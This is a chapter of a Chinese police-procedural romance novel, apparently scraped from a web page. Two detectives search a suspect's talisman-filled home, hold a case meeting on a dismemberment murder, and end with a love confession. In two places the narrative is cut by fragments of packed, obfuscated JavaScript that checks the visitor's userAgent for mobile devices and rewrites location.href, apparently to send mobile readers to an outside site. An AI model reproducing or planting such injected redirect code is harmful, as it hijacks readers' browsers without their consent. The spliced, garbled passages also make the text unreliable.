方惜亭和谢序宁下车后,出示工作证件,顺利进入警戒现场。 消防上上下下的检查,在火灾地点附近是否还有明火存在。 涉嫌房屋附近,再被刑侦支队拉起一条警戒线,方惜亭和谢序宁弯腰进入。 房间内部的主起火点应该是在厨房,燃烧痕迹最为严重。 客厅则是布制沙发,以及临近起火点附近的卧室床铺,多多少少都遭了些秧。 所幸是白天,居民发现及时,报了警,没有人员伤亡。 方惜亭带着谢序宁,不断往里行进,直到双方脚步,同时停靠在那间紧锁住的主卧门外。 这个位置是有点奇怪的,房间整体三室两厅的布局,进门右手边客厅、阳台,左手边是餐厅、厨房,中间位置则是一条走廊。 两侧依次是右手边的次卧,左手边的客房和洗手间,以及正对通行走廊那扇闭合紧密的主卧房门。 方惜亭谨慎戴上防护手套,手指搭上门把。 谢序宁拦着他,想把自己的位置换到前边,但方惜亭却不肯让。 按道理,门内应该不存在什么危险,但在房间整体采光和通风度都非常好的前提下。 所有房间的房门都开着,唯独只剩这间门锁紧闭。 墙体贴着门缝的地方,两张黄符交叉贴起,形成了一个刺眼的“×”字。 在看到这张符纸的当下,方惜亭几乎瞬间,头皮发麻。 他不得不立刻联想到,前段时间同事提供给他好几份作案手段相似,案发现场也有类似的符纸、桃木剑、红绳、蜡烛等一系列的镇鬼元素。 该不会是…… 房门被手推开,头顶骤然落下整片阴影,伴随着“刷拉”地响,空洞卧室内黑影晃动。 方惜亭在有心理准备的情况下,也受了些惊吓,他下意识伸手去摸枪,脚步仓促后退,又踩在谢序宁的脚上。 男人伸手托一把他的腰:“没事。” 对方声线低沉,混着重音,托住人腰背的掌心有力,让他安心。 那时定睛下来,才发现卧室房顶上,也用红线吊满了密密麻麻垂落而下的桃木剑。 以及各式用朱砂混着鸡血书写的黄符,发疯了似得,贴得满墙都是,实在诡异。 谢序宁大步往前,伸手拉开窗帘,强光照进来,空灵幽深的恐怖感瞬时散去。 方惜亭微眯起眼,视线落在书架处,在一众黄符、木剑、以及千丝万缕浸过墨斗的红线封印起来的阵法后。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11678048|124207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那尊被高高供奉起来的黑面鬼神像,双眼似乎也紧盯着他。 于恒挤进房间来,汇报情况:“副队,侦查技术小组已经赶到。” “他们在冰箱冷冻室里,发现有被嫌疑人残忍虐杀,并切割分装的动物尸体。” 方惜亭那时蹲在墙角研究阵法,谢序宁站在床头处,检查赵平常会翻阅的睡前书籍。 男人刚拿起一本,听见于恒的话,特意纠正道:“确认只是虐杀?” 他扬扬自己手里已经翻开的书:“而不是为了后续杀人分尸,提前学习,做的功课?” 方惜亭听他那样讲,站起身来:“是发现什么了吗?” 他脑袋凑过去,却瞧见对方手里,不过是些涉及民间风俗的杂谈:“这算什么证据?” 谢序宁趁他没离开,书页卷起,轻轻敲下那猫儿的头:“没看完呢。” 他重新翻开,指着用红色马克笔标注过的重点:“冤魂、怨气、破除执念……分尸、藏尸、清洗血迹……” 再结合之前,两人在电脑浏览记录中看到,近半个月内,赵平查询了八百余条有关切割、分解、脱骨等,带有详细操作步骤的屠宰及烹饪视频。 于恒吃惊:“所以是他杀害许晴晴,又怕对方化成厉鬼索命,所以特地在家中布阵压鬼?” 方惜亭摇头:“镇鬼一般是在埋尸地,许晴晴生前没有来过他家。” 于恒问:“那为什么?” 他话没说完,突然反应过来:“啊,是他老婆……” 按说,陈茜受不了丈夫背叛,伤害自己和腹中胎儿,属于含冤横死。 赵平目睹惨状,心中有愧,与妻子相伴多年的家庭支离破碎。 在这间满是回忆的屋子里,倍受甜蜜幸福、欢声笑语的往事所折磨。 他大概率会常常在家看到妻子忙碌的身影,不分昼夜。 在长时间想念、痛苦、懊恼的情绪中备受煎熬,极易产生焦虑情绪,导致后期失眠反复,神经衰弱。 许是不堪受扰,所以在家中设置阵法,想要驱散妻儿生前在家活动的行踪轨迹。 期间也对许晴晴起了杀心,才把妻离子散的罪过全部推到对方身上。 抓住许晴晴想要逃离潘强掌控的心理,假意出手,协助对方潜逃。 实际内心里,却是做好了一切报仇雪恨的打算。 包括拿猫猫狗狗练手分尸,提前购买用以作案的面包车,出现在许晴晴失踪地的监控盲区。 得知事情败露,又忙不迭的打包行李准备潜逃出国。 这一系列的举动,都非常有问题。 方惜亭带队搜查赵平家中里里外外、边边角角所有能提取到的线索信息。 又在垃圾桶里翻出被扔掉的小票,看到他在家门口附近的五金店内购买绳索、铁锤、防水胶布等,疑似预谋作案的作案工具。 到初步勘查结果结束后,现场封锁,方惜亭和谢序宁带队折返。 案件搜查到新的嫌疑人,需要重新制定排查方案,办公室内熙来攘往,比早上八点钟的菜市场还要繁忙。 “法医室出具二轮检测报告,给每个人都打印一份。” “潘强那边三轮提审,提供给警方的不在场证明,均不足以生效。” “还有他家那两条被追债人打死的狼狗,根据检验,齿缝和胃部残留都没有所谓的人肉组织。” 谢序宁被堵在办公桌位前,不停有人上前同他汇报工作。 还有中午用油漆桶打砸他的阿姨,辖区派出所民警也打来电话询问他是否想要继续追究。 谢序宁焦头烂额,哪还有心情管这些? 他随口敷衍道:“你们办她打砸、故意损坏他人财物的案子就行。” 对方问:“那袭警的事儿?” 谢序宁:“看她配合警方调查的态度,如果态度好,我就不追究了。” 因为自己本身没受什么太严重的伤,也害怕再遇到上次那样,嫌疑人家属带着父母妻儿到公安局门口,抱住他大腿请求高抬贵手的事。 那时电话按下,男人视线环视一周,猛然从工位里蹿起身来。 不过眨眼的功夫,自己一直紧盯着的方惜亭,竟忽然从座位上失踪了。 他去哪里了?是不是跟秦闻约会去了? 谢序宁没得到答案,但已经开始脑补在顶奢法式餐厅里,两人听着小提琴伴奏,在红酒玫瑰的烛火光影里交杯换盏的画面。 只要想到他跟秦闻在一起,男人就焦虑不安,烦躁地恨不得把自己的头发全部拔光。 那时漫无目地的从办公室里追出去,从禁毒支队,到走廊尽头的洗手间,再到方惜亭最长逗留的休息室,直到推开那间茶水间的门时。 才看到那猫儿一手握住手机,一手端起还滚着热气的保温杯在往外走。 男人忽冲进来,把方惜亭也吓了一跳。 他手机里的信息刚回过一条,这时又有新消息的提示音响起。 方惜亭看一眼差点撞在自己身上的谢序宁,嘴里嘟囔着:“你今天怎么回事?一惊一乍的。” 手机里的信息还在回复,但谢序宁不想再等。 他一把握住方惜亭的手腕,用力将人扯回来,杯子里的热水几乎全泼在男人手背上,烫得那片肌肤密密麻麻红了整片。 方惜亭猝不及防,瞪大了眼:“有病啊你?” 他杯子里接的都是煮沸的开水,结结实实泼过去,会把人给烫伤的。 但那时骂完又担心,于是伸手替他擦掉手背上的水迹:“疼不疼?要不要拿凉水冲一下?” 谢序宁屏蔽一切外界干扰,忽然没头没脑地问:“你能不能别去?” 方惜亭不知道他又发什么神经:“啊?”去、去哪? 男人握紧他的手,用力将人拽得更近些来。 鼻息间缓缓吞吐的热气,山茶香和清爽薄荷紧密缠绕,不肯分离。 谢序宁目光恳切:“我是说和秦闻的约会,你能不能别去。” 14.刑侦:黎明之后 方惜亭眼底漫起疑问:“!?” 他不明白,谢序宁怎么突然提起这个? 因为自己和秦闻并没有什么私交,之所以会同意赴约,一是之前的承诺需要兑现。 二也是想趁这机会,尽量委婉的表达自己目前,暂时没有要谈恋爱的想法。 只是眼底稍显几分犹豫,倒被谢序宁理解成了为难,像他不愿意拒绝和秦闻的约会。 男人鼻息喘出粗气,委屈又气愤,情况等同于发现他在外边还有别的狗。 恰巧那时秦闻路过:“亭亭,刚才发给你的地址……” 对方话没说完,谢序宁却也强势,管他同不同意。 用力握紧方惜亭的手指,从头到尾没松开过,那时瞧见秦闻过来,他仗着身高优势往门前一堵。 方惜亭被人拉拽着护到身后,脚底踉跄两步,脑袋撞在谢序宁挺拔的背脊上。 他一时失神,忘了解释,视线只落在谢序宁扣住自己腕间的手,以及略微有些发白的指尖。 秦闻笑意未散,他盯着谢序宁:“谢副队还有别的安排?” 谢序宁脸色冰冷:“不好意思,今晚没空。” 他趁着秦闻没来得及张嘴,及时又补一句:“明晚也没空。” 男人理直气壮:“这两天支队办案,正处于破获关键期,方副队属于队内骨干成员,更加不能掉以轻心。” 他仗着自己年长半个月,是哥哥的身份:“之前借你的光,拿到证据,迅速结案,是我们全支队都欠你的人情,不该让方惜亭一个人来还。” “这样吧,等这次案件结束,由我带头组织,你带上你的人,我带上我的人,大家一起,举杯同庆。” 秦闻瞥他一眼,不甘示弱:“你组织?怎么组织?大家AA?” AA?谢序宁咬牙:“你哥掏钱买单。”这总行了吧。 秦闻笑起来:“可我之前预定的,是国内排名前五的顶奢法餐,不知道谢副队,打算在哪里招待大家?” 他咄咄逼人:“噢……倒是市局后巷有家烧烤大排档,人均五十正好很划算,可我们方副队不太爱吃口味辛辣的食物,我看你们每次队内聚餐,他都没怎么动过筷子吧。” 方惜亭胃口浅,饮食清淡,不太爱吃烟熏油炸的食物。 但是每次队内组织聚餐,为求合群,他也都会参加。 只是从不动筷吃那些东西,谢序宁也有注意。 所以次次都要特地长跑两条街,去给他买口味清淡的关东煮,折返后还得再斗两句嘴,才能把东西交到对方手里。 只没想到,这样密切的关注,除却觊觎方惜亭多年的自己以外,竟还有秦闻那个变态? 谢序宁当即怒了:“不就是个破法餐吗?”当谁没吃过呀? 男人这辈子,就吃这套激将法,方惜亭也了解。 但不能接受的是,为了争这口气,却平白吃个哑巴亏。 两队涉案人员加起来,绝不会低于50人。 按照人均2500的消费标准,低消算下来都得花费小十几万…… 方惜亭正想阻拦,谁知晚人一步,男人当即敲定:“就你找的那家店,这周六,你哥包场。” 方惜亭震惊:包、包场?谢序宁你疯了吧。 他用力挣扎了一下,却没能挣开男人紧握住他的手。 秦闻堵住门口,仍在挑衅:“这周六?” 对方浅算一下时间:“那就只剩三天了,你能破案?” 谢序宁伸出自己的石膏手,态度强势将人逼退:“这不是你该担心的事。” 他辟开一条足以通行的路,拉着方惜亭往外:“走了,回去开会。” 从秦闻身旁路过时,方惜亭有些抱歉地对着他颔首招呼。 对方礼貌回应,但视线却略显几分深沉地,落在谢序宁紧扣他手腕的手指处。 即使胡搅蛮缠、诉求无理,却也没让那男人在外丢面子。 一句可能耗掉十来万离谱承诺也没打断,心里护着谁的态度显而易见。 方惜亭拎着空水杯,一路跌跌撞撞地被谢序宁拽着走。 等到支队门口时,于恒忽然从里扑出来,玻璃门被人推开。 若不是男人反应快,用自己绑着石膏的右手挡了一回,这门怕是都能直接拍他脸上。 方惜亭听见那声闷响,怕他手伤严重,着急去问:“没伤着吧。” 谢序宁还在为了他没有果断拒绝和秦闻的约会,而感到生气。 但又很快反应过来,自己现在不是能随便跟方惜亭闹脾气的身份。 他只是追求者,单方面阻碍被追求者的社交,本身也不太礼貌,可那时忍不住…… 男人嘴里嘟囔两句,想诉苦的委屈填了满满一肚子,到最后也只说了句:“没事。” 他吃醋吃得心里特别难受,但又不知道应该怎么说。 没有正当理由、完全一厢情愿地在做一件可能没有结果的事。 哎……暗恋真苦。 男人松开手,闷闷地往办公室里走。 他拿了桌案上的案件资料,重重往下拍了两遍:“所有人,拿上手里的东西,四楼大会议厅开会。” 于恒懵懵地站在那:“副队,我们什么都没准备,怎么突然要开会?” 方惜亭也不清楚:“我去拿资料,你把电脑和U盘带上。” 谢序宁办案能力强,负责任,能扛事儿,在支队内部话语权极高。 虽是突如其来的会议通知,大家都没做总结陈词的准备,但也听从安排,纷纷整理手旁资料,陆续起身上楼。 于恒从抽屉里找到自己的u盘,率先跟上。 方惜亭随手整理卷宗,忽然旁侧手机轻震两回,他拿起来。 群名:【三个诸葛亮】 【娇娇】:亭亭宝贝,我想死你了,最近天天画婚纱线稿,眼睛都要瞎了,真的无聊死。 【娇娇】:你那边有没有什么新鲜事,快说出来给我解解闷儿? 女诸葛心里琢磨着,想从他这里诈点话,看看谢序宁有没有什么行动。 便故意在手机里问道:还有谢序宁那个混蛋,最近有没有欺负你?他要敢在你面前犯|贱,你就告诉我,你看我今年过年回家,打不打死他。 方惜亭蒙在鼓里,忽略谢序宁犯|贱的问题:刚刚倒是有件很奇怪的事。 【虎子】:什么事,什么事? 该不会是他哥猪突猛进,整了个大的,直接表白了吧。 方惜亭认真回复:谢序宁好像疯了,跟人斗气,答应要请五十多个人一起去吃法餐,按照人均2500的消费水平计算,得花12万,这可是大半年的工资了。 娇娇听完,瞬时无语,白眼快翻到天上:……他确实有病。 就为了请一个人吃饭,愿意花费12万请所有人? 这个狗东西,平时对待他们这些发小,怎么没这么大方? 【娇娇】:你别管,从他爸妈离婚后,许阿姨的事业蒸蒸日上,人家现在可是云京市知名女企业家,又没再婚再育,户口本上就他一个儿子,家里几百亿的资产呢,不差这点儿钱。 【方惜亭】:可是那也没必要,请大家吃这么贵的东西吧。 其实市局后巷那家人均50的烧烤大排档,就挺适合队内聚餐的。 非得要吃什么顶奢法餐,他又不是……他倒确实也没去吃过。 【娇娇】:话也不能这么说,我哥什么脾气,你又不是不知道,他不是会赌气让自己吃亏的人,再说那12万,他是给别人花的吗?他那是为了你。 【娇娇】:他肯这么做,说明你在他心里,值得让他为你去花这12万。 方惜亭满脸疑惑:……为了我? 娇娇意识到自己说漏嘴,即刻闭麦。 您的好友撤回一条消息。 您的好友再撤回一条消息。 【娇娇】:我客户来了,我先去忙。 【虎子】:那什么,我客户也来了。 两人飞速遁走,生怕再多说下去,会被方惜亭察觉,毁了谢序宁的追求计划。 要是让那哥知道,自己的部署还未实施就胎死腹中,非得把他俩生吞活剥了不成。 方惜亭满脸疑惑地盯着群聊天,倒没多想。 办公室内人群散去,他也没拖延,抱起资料往四楼大会议厅里赶。 两组人员到齐,长厅里密密麻麻,挤满了人。 前排靠近主投影幕布的右侧位,是大家特地给方惜亭留出来的。 谢序宁这人开会时,酷爱抽查,随机点名,大家都怕被他喊到,所以有多远躲多远。 方惜亭坐下来,看到谢序宁背对众人,双手叉腰45度仰望天花板,背影显得有些忧郁。 于恒凑过来:“谢副队好像不太高兴。” 他疑惑:“像他这样的人也会有烦恼和心事吗?” 方惜亭听得莫名其妙:“他这样的人?” 于恒点头,压低嗓音与方惜亭耳语,又故弄玄虚道:“你还不知道吧,我也是半小时前才刚听说,咱们这边省公安厅的厅长……也姓谢。” 方惜亭冷漠回头,看着得意洋洋给自己分享八卦的于恒:“这不是大家都知道的事儿吗?” 于恒脚一滑,险些摔了:“什,什么?你们都知道了?” 方惜亭脸上写着:“这是什么很稀奇的事情吗?” 虽然谢序宁从未大肆宣扬,但好像也没有隐瞒不让提。 再说那是他的合法亲爹,没偷没抢,也没靠着这层关系去干什么见不得人的事。 有什么不能说的? 于恒首次分享遭遇挫败,他不死心:“那他高考数学满分,理科状元,专业成绩第一,前期办案还有顶流男明星跟他表白的事,你也全都知道?” 方惜亭点头:“……都知道。” 于恒撑着桌子,险些又掉下去。 他不敢相信,自己花费那么多的时间、精力,打入舆情中心,好不容易得到的第一手隐秘信息,怎么可能是大家都心照不宣的事? 小家伙备受打击,立即转头抓住其他人求证:“省公安厅的谢厅长,是咱谢副队亲爹这事儿,你知道吗?” 对方直接发出尖锐爆鸣:“什么?谢厅长是谢副队的亲爹?”他不知道啊! “……” “……” “!?” 于恒瞳孔放大,等意识到自己当着正主的面口出狂言时,人已经彻底麻了。 原本在谢序宁没有正式组织会议之前,台下还有些窸窸窣窣的议论和响动。 但在这样的惊天大秘密炸出来的当下,全场目光向于恒聚齐,众人面面相觑。 于恒仓皇:不,不是,不是说大家都知道的吗?这怎么看起来,大家好像也都不太清楚的样子…… 尤其谢序宁的目光望过来,他更加胆怯。 正要转头去向方惜亭求救时,对方又没追究。 男人刚从暗恋的酸涩困苦中脱身而出,不顾台下众人震惊八卦的吃瓜眼光,顺手拍拍桌子,示意安静。 因受私事所扰,他显得有气无力,但仍强撑着。 “有关许晴晴被害一案,距离案发已有五日。” “根据后续出现的大量物证信息及嫌疑人,为确保调查方向准确,我们必须对案件再重新做一次细致梳理。” 电脑切换图片,投影内容显示案发首日,侦查小组前往抛尸现场,手持高清摄像头拍摄下来那散落满地的碎肉图片。 “首先,接警地点在蓝湖垃圾填埋场。” “作案凶手使用黑色塑料袋,包裹受害人被碎成小块的躯干碎肉,于当晚19:58分避开监控探头,在潘强家后巷的连排垃圾桶处,进行抛尸。” “且目前,头颅、四肢、躯干肋骨都未被人发现的前提下。” “凶手刻意将被害人的躯干分解,混入断指,让杀人案件顺利被分拣带上的工作人员察觉。” 男人在小黑板上,把凶案发生的起因和蓝湖垃圾填埋场,连接起一条紧密的长线。 “所以,是什么必要的理由,让凶手一定要把这桩杀人案,放到蓝湖垃圾填埋场让人发现。” 这是他们在之前的办案过程中,总结出来的问题,但是一直没能得到准确的答案。 尤其后续涉案嫌疑人及相关的案情内容增多,大家排查的方向,也逐渐偏离最原始的作案动机。 谢序宁抓住这个重点,台下组员也站起来汇报。 “按照老大的安排,我们调查了许晴晴被害案对蓝湖垃圾填埋场造成的后续影响。” “据悉,早在厂区高层提出使用机器取代人工之际,就引起了众多工人的抵触和反对。” “但是因为当时新闻小,传播度力度低下的原因,并没有引起什么水花。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11678037|124207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “高精仪器的引进项目,仍在有序进行中,直到这次杀人案发……” 发言组员把自己手里打印好的资料,给在场所有参会人员都分发一份。 “大家可以看到,在杀人案发后,新闻首先冲上微|博热|搜。” “随后各大媒体蜂拥而至,报道采访,同时揭露出厂区引进计划,会导致诸多员工失业一事。” “在被杀人案件引发而来的社会舆论压力下,厂区高层不得不出面回应。” “他们承诺,尽量保证就业岗位,就算不得已辞退,也会按照劳动法规定进行合理赔偿。” 大家都是老员工,就算进入裁员名单内,按照赔偿公式,也能拿到一笔价值不菲的补偿金。 这对于子女已成人,临近退休,没有养育后代压力的中老年而言,也算是得到了非常妥善的安置。 谢序宁听他讲完,又拿起黑色马克笔,在小白板上标注起了许晴晴被害案发后,产生的最直观的结果,就是顺利解决了蓝湖垃圾场的裁员风波。 谢序宁说:“事件发生的太过巧合,不能排除其引发案件的嫌疑。” “具备杀害条件的嫌疑人,与蓝湖垃圾填埋场这部分受益员工的关系,需要重新进行排查梳理。” 男人视线环绕一周:“于恒,这件事情交给你去办。” 之前方惜亭特意安排于恒,让他对居住在西城区的这部分存在被裁风险的老员工,做过细致摸排,所以后续调查的工作交给他最为合适。 谢序宁从电脑里调取出,许晴晴失踪点的那部分盲区外部监控,继续和大家分析。 “案发原因,需要达成的目地,以及直接受益人,现在基本明确。” “接下来就是存在杀人动机和具备作案条件的嫌疑人。” 谢序宁指着幕布:“目前,最直接与许晴晴相关的两名案件嫌疑人,分别是潘强和赵平。” “其中,赵平的作案动机非常明确,且在案发前,也存在有计划谋杀,以及具备作案的条件。” “其次是潘强,他对许晴晴的作案动机,相比赵平,要低很多。” “但我们不能排除,他在发现许晴晴与顾客勾结,企图逃脱自己的掌控之下,产生愤怒情绪,在与人纠缠的过程中,冲动杀人的可能性。” 男人点开那段盲区视频,看到在案发前后,分别是许晴晴先行进入。 随后潘强家的看门老大爷,又骑着载满废纸板的三轮车回家。 期间便利店的老板,也在附近进进出出十余次。 又从仓库里骑出自己的电动载货三轮车,从盲区点搬运五桶半人高的厨余垃圾桶驶离。 至次日早6点,赵平驾驶面包车离开许晴晴失踪地。 而潘强则是次日下午16点,通过监控盲区点折返回家。 谢序宁迅速指出:“潘强、赵平、看门大爷、便利店老板。” “这四个人,在许晴晴消失在监控盲区点位后,以及抛尸行为出现前,都分别经过这段可能会对许晴晴实施攻击的路段。” “其中,看门大爷三轮车里的废纸板下,便利店老板收走厨余垃圾的垃圾桶内,以及赵平的面包车,都有可能成为许晴晴尸体的藏身地。” “但是……”男人语速稍顿。 “如果根据分尸手法,我们有同事排查到了二十年前,曾有类似作案手段的连环杀人案。” “假设,我们在排除模仿作案的前提下,根据时间推算,赵平和潘强的年龄不符合。” “且根据他们两人的工作性质、生活阅历,应该也不足以达到这种程度的分尸水准。” 尤其是赵平,计划作案前,还特地从小区搜罗了许多流浪猫狗,拿回家里练手分尸。 连他随手扔在冰箱急冻室里的猫狗尸体,都没办法做好分解和脱骨,就更别说想要处理掉,体型是那些小动物们好几十倍的许晴晴。 “而看门大爷和便利店的老板,他们两位年纪符合。” “虽然目前没有相关的杀人动机浮现,但是如果我们从蓝湖垃圾场的被裁员工身上,去找他们之间的联系,或许会有意外惊喜。” 现场排查还要继续,受害人的剩余碎尸,包括作案凶器,都是后续指控的重要证据链。 可能存在藏尸行为的废纸板、厨余垃圾桶、面包车等,后续通行的方向也必须进行追踪。 谢序宁决不允许,在天网覆盖、刑侦技术不断进步的二十一世纪里。 如此残忍凶狠的刑事案件,竟然在他手里超过一个星期,都迟迟无法破获。 男人为确保调查方向不跑偏,重新整理了案件的指向性线索。 在召开会议说明后,半小时内结束,绝不用冗长拖沓的形式去浪费大家时间。 散会后,于恒又感叹两句:“谢副队好厉害。” 他说:“之前抓潘强的时候我以为是潘强,现在抓赵平的时候我又以为是赵平。” 结果没想到这俩,根本谁也不是。 方惜亭收好资料,安静地跟随其余组员一起下楼。 忽然衣兜里的手机震动两遍,他拿起来看。 【谢序宁】:停车场等我,找你有事。 方惜亭嫌他烦,眉间拧起:食堂马上开饭。 他心想有什么事,等吃了饭再说,谁知那男人又暴躁起来。 【谢序宁】:下楼,立刻,哥还能少你一顿晚饭? 他怕方惜亭怀疑事件的紧迫性,说完又特地补充:是天大的事,比我的命还重要。 方惜亭早习惯了,对这臭狗随时随地发神经的毛病无动于衷。 但那时确实没想出来有什么事,能比他的命还重要? 于是琢磨一阵,放下资料后随口打发走于恒,又下到停车场里。 他找了两圈没见人,坐进车里给谢序宁发短信,男人也没及时回复。 人呢?再不来他回办公室了…… 猫儿拿着手机坐进车里,疲惫困倦、神色恹恹地靠着椅背。 心里埋怨的话没说完,忽然主驾驶位的车门被人拉开,一束鲜艳的大红玫瑰出现眼前。 浓郁花香在光线黯淡、空间狭窄的单人车位里,将他牢牢缠绕。 方惜亭瞳孔放大,不及震惊,谢序宁的帅脸又凑上前。 对方单手撑住车门,俯身而下,凌厉眉眼逼近,打出一记强力直球:“方惜亭,我喜欢你。”